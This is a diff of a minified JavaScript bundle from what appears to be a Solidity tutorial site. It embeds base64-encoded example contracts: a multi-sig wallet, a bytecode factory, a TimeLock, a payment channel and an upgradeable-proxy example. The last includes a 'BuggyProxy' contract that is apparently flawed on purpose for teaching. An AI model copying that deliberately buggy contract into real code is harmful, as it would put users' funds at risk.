gICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludCBfdmFsdWUsCiAgICAgICAgYnl0ZXMgbWVtb3J5IF9kYXRhCiAgICApIHB1YmxpYyBvbmx5T3duZXIgewogICAgICAgIHVpbnQgdHhJbmRleCA9IHRyYW5zYWN0aW9ucy5sZW5ndGg7CgogICAgICAgIHRyYW5zYWN0aW9ucy5wdXNoKAogICAgICAgICAgICBUcmFuc2FjdGlvbih7CiAgICAgICAgICAgICAgICB0bzogX3RvLAogICAgICAgICAgICAgICAgdmFsdWU6IF92YWx1ZSwKICAgICAgICAgICAgICAgIGRhdGE6IF9kYXRhLAogICAgICAgICAgICAgICAgZXhlY3V0ZWQ6IGZhbHNlLAogICAgICAgICAgICAgICAgbnVtQ29uZmlybWF0aW9uczogMAogICAgICAgICAgICB9KQogICAgICAgICk7CgogICAgICAgIGVtaXQgU3VibWl0VHJhbnNhY3Rpb24obXNnLnNlbmRlciwgdHhJbmRleCwgX3RvLCBfdmFsdWUsIF9kYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjb25maXJtVHJhbnNhY3Rpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgbm90Q29uZmlybWVkKF90eEluZGV4KSB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CiAgICAgICAgdHJhbnNhY3Rpb24ubnVtQ29uZmlybWF0aW9ucyArPSAxOwogICAgICAgIGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSA9IHRydWU7CgogICAgICAgIGVtaXQgQ29uZmlybVRyYW5zYWN0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlVHJhbnNhY3Rpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IHRyYW5zYWN0aW9uLnRvLmNhbGx7dmFsdWU6IHRyYW5zYWN0aW9uLnZhbHVlfSgKICAgICAgICAgICAgdHJhbnNhY3Rpb24uZGF0YQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAidHggZmFpbGVkIik7CgogICAgICAgIGVtaXQgRXhlY3V0ZVRyYW5zYWN0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXZva2VDb25maXJtYXRpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSwgInR4IG5vdCBjb25maXJtZWQiKTsKCiAgICAgICAgdHJhbnNhY3Rpb24ubnVtQ29uZmlybWF0aW9ucyAtPSAxOwogICAgICAgIGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSA9IGZhbHNlOwoKICAgICAgICBlbWl0IFJldm9rZUNvbmZpcm1hdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0T3duZXJzKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYWRkcmVzc1tdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBvd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHJhbnNhY3Rpb25Db3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gdHJhbnNhY3Rpb25zLmxlbmd0aDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbigKICAgICAgICB1aW50IF90eEluZGV4CiAgICApCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludCBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],Uu=`

            Let's create an multi-sig wallet. Here are the specifications.

            The wallet owners can

            • submit a transaction
            • @@ -2281,7 +2281,7 @@ How to swap tokens return abi.encodeWithSignature("callMe(uint256)", 123); } } -`,Qu=({prev:s,next:a})=>i.jsx(u,{version:Mu,title:Ju,description:zu,html:Lu,prev:s,next:a,codes:Eu}),_u="0.8.20",Uu="Simple Bytecode Contract",Tu="Simple example of contract written in bytecode",Du=[{fileName:"Factory.sol",code:"Ly8gU1BE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1cm4gZGF0YSBmcm9tIG1lbW9yeSBwIHRvIHAgKyBzCgpQVVNIMSAweDIwClBVU0gxIDAKUkVUVVJOCgpDcmVhdGlvbiBjb2RlIC0gcmV0dXJuIHJ1bnRpbWUgY29kZQo2OTYwMmE2MDAwNTI2MDIwNjAwMGYzNjAwMDUyNjAwYTYwMTZmMwoKLy8gU3RvcmUgcnVuIHRpbWUgY29kZSB0byBtZW1vcnkKUFVTSDEwIDBYNjAyYTYwMDA1MjYwMjA2MDAwZjMKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAxMCBieXRlcyBmcm9tIG1lbW9yeSBzdGFydGluZyBhdCBvZmZzZXQgMjIKUFVTSDEgMHgwYQpQVVNIMSAweDE2ClJFVFVSTgoqLwo="}],Ou=`

              Simple example of contract written in bytecode

              +`,Tu=({prev:s,next:a})=>i.jsx(u,{version:Eu,title:Lu,description:Qu,html:Uu,prev:s,next:a,codes:_u}),Du="0.8.20",Ou="Simple Bytecode Contract",Pu="Simple example of contract written in bytecode",$u=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgNDIKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSBoZXgiNjk2MDJhNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMiOwogICAgICAgIGFkZHJlc3MgYWRkcjsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGNyZWF0ZSh2YWx1ZSwgb2Zmc2V0LCBzaXplKQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZSgwLCBhZGQoYnl0ZWNvZGUsIDB4MjApLCAweDEzKQogICAgICAgIH0KICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSk7CgogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9CgppbnRlcmZhY2UgSUNvbnRyYWN0IHsKICAgIGZ1bmN0aW9uIGdldE1lYW5pbmdPZkxpZmUoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwp9CgovLyBodHRwczovL3d3dy5ldm0uY29kZXMvcGxheWdyb3VuZAovKgpSdW4gdGltZSBjb2RlIC0gcmV0dXJuIDQyCjYwMmE2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSA0MiB0byBtZW1vcnkKbXN0b3JlKHAsIHYpIC0gc3RvcmUgdiBhdCBtZW1vcnkgcCB0byBwICsgMzIKClBVU0gxIDB4MmEKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAzMiBieXRlcyBmcm9tIG1lbW9yeQpyZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uIGFuZCByZXR1cm4gZGF0YSBmcm9tIG1lbW9yeSBwIHRvIHAgKyBzCgpQVVNIMSAweDIwClBVU0gxIDAKUkVUVVJOCgpDcmVhdGlvbiBjb2RlIC0gcmV0dXJuIHJ1bnRpbWUgY29kZQo2OTYwMmE2MDAwNTI2MDIwNjAwMGYzNjAwMDUyNjAwYTYwMTZmMwoKLy8gU3RvcmUgcnVuIHRpbWUgY29kZSB0byBtZW1vcnkKUFVTSDEwIDBYNjAyYTYwMDA1MjYwMjA2MDAwZjMKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAxMCBieXRlcyBmcm9tIG1lbW9yeSBzdGFydGluZyBhdCBvZmZzZXQgMjIKUFVTSDEgMHgwYQpQVVNIMSAweDE2ClJFVFVSTgoqLwo="}],qu=`

              Simple example of contract written in bytecode

              // SPDX-License-Identifier: MIT
               pragma solidity ^0.8.20;
               
              @@ -2338,7 +2338,7 @@ PUSH1 0x0a
               PUSH1 0x16
               RETURN
               */
              -
              `,Pu=({prev:s,next:a})=>i.jsx(u,{version:_u,title:Uu,description:Tu,html:Ou,prev:s,next:a,codes:Du}),$u="0.8.20",qu="Time Lock",sy="Time Lock",ay=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQgYmxvY2tUaW1lc3RhbXAsIHVpbnQgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50IGJsb2NrVGltZXN0bWFwLCB1aW50IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludCBibG9ja1RpbWVzdGFtcCwgdWludCBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludCB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQgdmFsdWUsCiAgICAgICAgc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0YW1wKTsKICAgICAgICB9CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+IF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QpIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcEV4cGlyZWRFcnJvcihibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QpOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW3R4SWRdID0gZmFsc2U7CgogICAgICAgIC8vIHByZXBhcmUgZGF0YQogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhOwogICAgICAgIGlmIChieXRlcyhfZnVuYykubGVuZ3RoID4gMCkgewogICAgICAgICAgICAvLyBkYXRhID0gZnVuYyBzZWxlY3RvciArIF9kYXRhCiAgICAgICAgICAgIGRhdGEgPSBhYmkuZW5jb2RlUGFja2VkKGJ5dGVzNChrZWNjYWsyNTYoYnl0ZXMoX2Z1bmMpKSksIF9kYXRhKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBjYWxsIGZhbGxiYWNrIHdpdGggZGF0YQogICAgICAgICAgICBkYXRhID0gX2RhdGE7CiAgICAgICAgfQoKICAgICAgICAvLyBjYWxsIHRhcmdldAogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogX3ZhbHVlfShkYXRhKTsKICAgICAgICBpZiAoIW9rKSB7CiAgICAgICAgICAgIHJldmVydCBUeEZhaWxlZEVycm9yKCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEV4ZWN1dGUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwoKICAgICAgICByZXR1cm4gcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbChieXRlczMyIF90eElkKSBleHRlcm5hbCBvbmx5T3duZXIgewogICAgICAgIGlmICghcXVldWVkW190eElkXSkgewogICAgICAgICAgICByZXZlcnQgTm90UXVldWVkRXJyb3IoX3R4SWQpOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW190eElkXSA9IGZhbHNlOwoKICAgICAgICBlbWl0IENhbmNlbChfdHhJZCk7CiAgICB9Cn0K"}],ny=`

              TimeLock is a contract that publishes a transaction to be executed in the future. +`,sy=({prev:s,next:a})=>i.jsx(u,{version:Du,title:Ou,description:Pu,html:qu,prev:s,next:a,codes:$u}),ay="0.8.20",ny="Time Lock",ly="Time Lock",py=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQgYmxvY2tUaW1lc3RhbXAsIHVpbnQgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50IGJsb2NrVGltZXN0bWFwLCB1aW50IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludCBibG9ja1RpbWVzdGFtcCwgdWludCBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludCB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludCBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludCBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQgX3RpbWVzdGFtcAogICA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wZXJpb2QKICAgICAgICBpZiAoYmxvY2sudGltZXN0YW1wIDwgX3RpbWVzdGFtcCkgewogICAgICAgICAgICByZXZlcnQgVGltZXN0YW1wTm90UGFzc2VkRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+IF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QpIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcEV4cGlyZWRFcnJvcihibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QpOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW3R4SWRdID0gZmFsc2U7CgogICAgICAgIC8vIHByZXBhcmUgZGF0YQogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhOwogICAgICAgIGlmIChieXRlcyhfZnVuYykubGVuZ3RoID4gMCkgewogICAgICAgICAgICAvLyBkYXRhID0gZnVuYyBzZWxlY3RvciArIF9kYXRhCiAgICAgICAgICAgIGRhdGEgPSBhYmkuZW5jb2RlUGFja2VkKGJ5dGVzNChrZWNjYWsyNTYoYnl0ZXMoX2Z1bmMpKSksIF9kYXRhKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBjYWxsIGZhbGxiYWNrIHdpdGggZGF0YQogICAgICAgICAgICBkYXRhID0gX2RhdGE7CiAgICAgICAgfQoKICAgICAgICAvLyBjYWxsIHRhcmdldAogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogX3ZhbHVlfShkYXRhKTsKICAgICAgICBpZiAoIW9rKSB7CiAgICAgICAgICAgIHJldmVydCBUeEZhaWxlZEVycm9yKCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEV4ZWN1dGUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwoKICAgICAgICByZXR1cm4gcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbChieXRlczMyIF90eElkKSBleHRlcm5hbCBvbmx5T3duZXIgewogICAgICAgIGlmICghcXVldWVkW190eElkXSkgewogICAgICAgICAgICByZXZlcnQgTm90UXVldWVkRXJyb3IoX3R4SWQpOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW190eElkXSA9IGZhbHNlOwoKICAgICAgICBlbWl0IENhbmNlbChfdHhJZCk7CiAgICB9Cn0K"}],ey=`

              TimeLock is a contract that publishes a transaction to be executed in the future. After a mimimum waiting period, the transaction can be executed.

              TimeLocks are commonly used in DAOs.

              // SPDX-License-Identifier: MIT
              @@ -2487,7 +2487,7 @@ After a mimimum waiting period, the transaction can be executed.

              emit Cancel(_txId); } } -
              `,ly=({prev:s,next:a})=>i.jsx(u,{version:$u,title:qu,description:sy,html:ny,prev:s,next:a,codes:ay}),py="0.8.20",ey="Uni-Directional Payment Channel",cy="An example of uni-directional payment channels in Solidity",ty=[{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7CmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvc2VjdXJpdHkvUmVlbnRyYW5jeUd1YXJkLnNvbCI7Cgpjb250cmFjdCBVbmlEaXJlY3Rpb25hbFBheW1lbnRDaGFubmVsIGlzIFJlZW50cmFuY3lHdWFyZCB7CiAgICB1c2luZyBF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Y3Qoc2VuZGVyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHNlbmRlciwgIiFzZW5kZXIiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBleHBpcmVzQXQsICIhZXhwaXJlZCIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQp9Cg=="}],oy=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              +`,cy=({prev:s,next:a})=>i.jsx(u,{version:ay,title:ny,description:ly,html:ey,prev:s,next:a,codes:py}),ty="0.8.20",oy="Uni-Directional Payment Channel",ry="An example of uni-directional payment channels in Solidity",iy=[{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7CmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvc2VjdXJpdHkvUmVlbnRyYW5jeUd1YXJkLnNvbCI7Cgpjb250cmFjdCBVbmlEaXJlY3Rpb25hbFBheW1lbnRDaGFubmVsIGlzIFJlZW50cmFuY3lHdWFyZCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIHNlbmRlcjsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgcmVjZWl2ZXI7CgogICAgdWludCBwcml2YXRlIGNvb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aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBleHBpcmVzQXQsICIhZXhwaXJlZCIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQp9Cg=="}],hy=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              Here is how this contract is used:

              • Alice deploys the contract, funding it with some Ether.
              • @@ -2559,7 +2559,7 @@ After a mimimum waiting period, the transaction can be executed.

                selfdestruct(sender); } } -`,ry=({prev:s,next:a})=>i.jsx(u,{version:py,title:ey,description:cy,html:oy,prev:s,next:a,codes:ty}),iy="0.8.20",hy="Upgradeable Proxy",gy="Example of upgradeable proxy",dy=[{fileName:"UpgradeableProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIFRyYW5zcGFyZW50IHVwZ3JhZGVhYmxlIHByb3h5IHBhdHRlcm4KCmNvbnRyYWN0IENvdW50ZXJWMSB7CiAgICB1aW50IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlclYyIHsKICAgIHVpbnQgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCArPSAxOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCAtPSAxOwogICAgfQp9Cgpjb250cmFjdCBCdWdneVByb3h5IHsKICAgIGFkZHJlc3MgcHVibGljIGltcGxlbWVudGF0aW9uOwogICAgYWRkcmVzcyBwdWJsaWMgYWRtaW47CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgYWRtaW4gPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIF9kZWxlZ2F0ZSgpIHByaXZhdGUgewogICAgICAgICh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K2luc2l6ZSkpCiAgICAgICAgICAgIC8vIC0gcHJvdmlkaW5nIGcgZ2FzCiAgICAgICAgICAgIC8vIC0gYW5kIG91dHB1dCBhcmVhIG1lbVtvdXTigKYob3V0K291dHNpemUpKQogICAgICAgICAgICAvLyAtIHJldHVybmluZyAwIG9uIGVycm9yIChlZy4gb3V0IG9mIGdhcykgYW5kIDEgb24gc3VjY2VzcwogICAgICAgICAgICBsZXQgcmVzdWx0IDo9IGRlbGVnYXRlY2FsbChnYXMoKSwgX2ltcGxlbWVudGF0aW9uLCAwLCBjYWxsZGF0YXNpemUoKSwgMCwgMCkKCiAgICAgICAgICAgIC8vIENvcHkgdGhlIHJldHVybmVkIGRhdGEuCiAgICAgICAgICAgIC8vIHJldHVybmRhdGFjb3B5KHQsIGYsIHMpIC0gY29weSBzIGJ5dGVzIGZyb20gcmV0dXJuZGF0YSBhdCBwb3NpdGlvbiBmIHRvIG1lbSBhdCBwb3NpdGlvbiB0CiAgICAg